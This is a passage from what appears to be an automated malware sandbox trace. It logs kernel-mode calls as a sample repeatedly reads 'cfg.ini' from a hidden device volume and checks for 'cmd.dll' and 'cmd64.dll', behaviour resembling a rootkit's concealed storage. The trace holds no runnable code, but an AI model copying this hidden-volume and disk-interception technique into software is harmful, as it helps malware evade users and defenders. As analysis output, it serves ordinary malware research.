(StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.273] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.273] IdePortDispatch () returned 0x103 [0129.273] KeWaitForMutexObject () returned 0x0 [0129.273] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.273] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.273] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.273] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.273] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.273] IdePortDispatch () returned 0x103 [0129.273] KeWaitForMutexObject () returned 0x0 [0129.273] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.273] KeLeaveCriticalRegion () [0129.273] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.274] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.274] KeEnterCriticalRegion () [0129.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.274] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.274] KeLeaveCriticalRegion () [0129.274] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.274] KeEnterCriticalRegion () [0129.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.274] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.274] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.274] KeLeaveCriticalRegion () [0129.274] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.274] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.274] KeEnterCriticalRegion () [0129.274] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.274] ExFreePoolWithTag (P=0xfffffa8003c04b50, Tag=0x0) [0129.274] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.274] KeLeaveCriticalRegion () [0129.274] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.274] ReleaseMutex (hMutex=0xf0) returned 1 [0129.274] Sleep (dwMilliseconds=0x124f80) [0129.289] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.289] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.290] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.290] KeEnterCriticalRegion () [0129.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.290] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.290] IdePortDispatch () returned 0x103 [0129.290] KeWaitForMutexObject () returned 0x0 [0129.290] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.290] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.290] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.290] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.290] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.290] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03230 [0129.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.290] KeLeaveCriticalRegion () [0129.290] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.290] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.290] KeEnterCriticalRegion () [0129.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.290] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.290] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.290] KeLeaveCriticalRegion () [0129.290] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.290] KeEnterCriticalRegion () [0129.290] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.290] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.290] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.290] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.290] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.290] IdePortDispatch () returned 0x103 [0129.291] KeWaitForMutexObject () returned 0x0 [0129.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.291] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.291] KeLeaveCriticalRegion () [0129.291] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.291] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.291] KeEnterCriticalRegion () [0129.291] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.291] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bcb000 [0129.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.291] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.291] IdePortDispatch () returned 0x103 [0129.291] KeWaitForMutexObject () returned 0x0 [0129.291] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.291] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.291] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.291] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.291] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.291] IdePortDispatch () returned 0x103 [0129.291] KeWaitForMutexObject () returned 0x0 [0129.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.292] KeLeaveCriticalRegion () [0129.292] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.292] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.292] KeEnterCriticalRegion () [0129.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.292] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.292] KeLeaveCriticalRegion () [0129.292] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.292] KeEnterCriticalRegion () [0129.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.292] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.292] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c04cd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.292] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.292] KeLeaveCriticalRegion () [0129.292] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.292] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.292] KeEnterCriticalRegion () [0129.292] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.293] ExFreePoolWithTag (P=0xfffffa8003c03230, Tag=0x0) [0129.293] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.293] KeLeaveCriticalRegion () [0129.293] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.293] ReleaseMutex (hMutex=0xf0) returned 1 [0129.293] Sleep (dwMilliseconds=0x124f80) [0129.309] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.309] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.309] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.309] KeEnterCriticalRegion () [0129.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.309] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.309] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.309] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.309] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.309] IdePortDispatch () returned 0x103 [0129.309] KeWaitForMutexObject () returned 0x0 [0129.309] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.309] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.309] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.309] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.309] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.309] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c047f0 [0129.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.309] KeLeaveCriticalRegion () [0129.309] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.309] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.309] KeEnterCriticalRegion () [0129.309] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.309] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.309] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.309] KeLeaveCriticalRegion () [0129.310] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.310] KeEnterCriticalRegion () [0129.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.310] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.310] IdePortDispatch () returned 0x103 [0129.310] KeWaitForMutexObject () returned 0x0 [0129.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.310] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.310] KeLeaveCriticalRegion () [0129.310] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.310] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.310] KeEnterCriticalRegion () [0129.310] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.310] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd0000 [0129.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.310] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.310] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.310] IdePortDispatch () returned 0x103 [0129.310] KeWaitForMutexObject () returned 0x0 [0129.310] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.310] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.310] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.311] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.311] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.311] IdePortDispatch () returned 0x103 [0129.311] KeWaitForMutexObject () returned 0x0 [0129.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.311] KeLeaveCriticalRegion () [0129.311] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.311] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.311] KeEnterCriticalRegion () [0129.311] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.311] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.311] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.311] KeLeaveCriticalRegion () [0129.311] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.311] KeEnterCriticalRegion () [0129.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.312] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.312] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.312] KeLeaveCriticalRegion () [0129.312] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.312] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.312] KeEnterCriticalRegion () [0129.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.312] ExFreePoolWithTag (P=0xfffffa8003c047f0, Tag=0x0) [0129.312] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.312] KeLeaveCriticalRegion () [0129.312] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.312] ReleaseMutex (hMutex=0xf0) returned 1 [0129.312] Sleep (dwMilliseconds=0x124f80) [0129.333] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.333] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.333] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.333] KeEnterCriticalRegion () [0129.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.333] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.333] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0129.333] IdePortDispatch () returned 0x103 [0129.333] KeWaitForMutexObject () returned 0x0 [0129.333] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.333] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.333] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.333] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.333] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.333] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c03a60 [0129.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.333] KeLeaveCriticalRegion () [0129.333] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.333] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.333] KeEnterCriticalRegion () [0129.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.333] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.333] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.333] KeLeaveCriticalRegion () [0129.333] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.333] KeEnterCriticalRegion () [0129.333] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.333] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.333] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.334] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0129.334] IdePortDispatch () returned 0x103 [0129.334] KeWaitForMutexObject () returned 0x0 [0129.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.334] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.334] KeLeaveCriticalRegion () [0129.334] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.334] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.334] KeEnterCriticalRegion () [0129.334] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.334] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd5000 [0129.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.334] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.334] IdePortDispatch () returned 0x103 [0129.334] KeWaitForMutexObject () returned 0x0 [0129.334] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.334] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.334] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.334] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.334] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0129.334] IdePortDispatch () returned 0x103 [0129.335] KeWaitForMutexObject () returned 0x0 [0129.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.335] KeLeaveCriticalRegion () [0129.335] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.335] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.335] KeEnterCriticalRegion () [0129.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.335] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.335] KeLeaveCriticalRegion () [0129.335] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.335] KeEnterCriticalRegion () [0129.335] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.335] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.335] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c03450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.335] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.335] KeLeaveCriticalRegion () [0129.335] 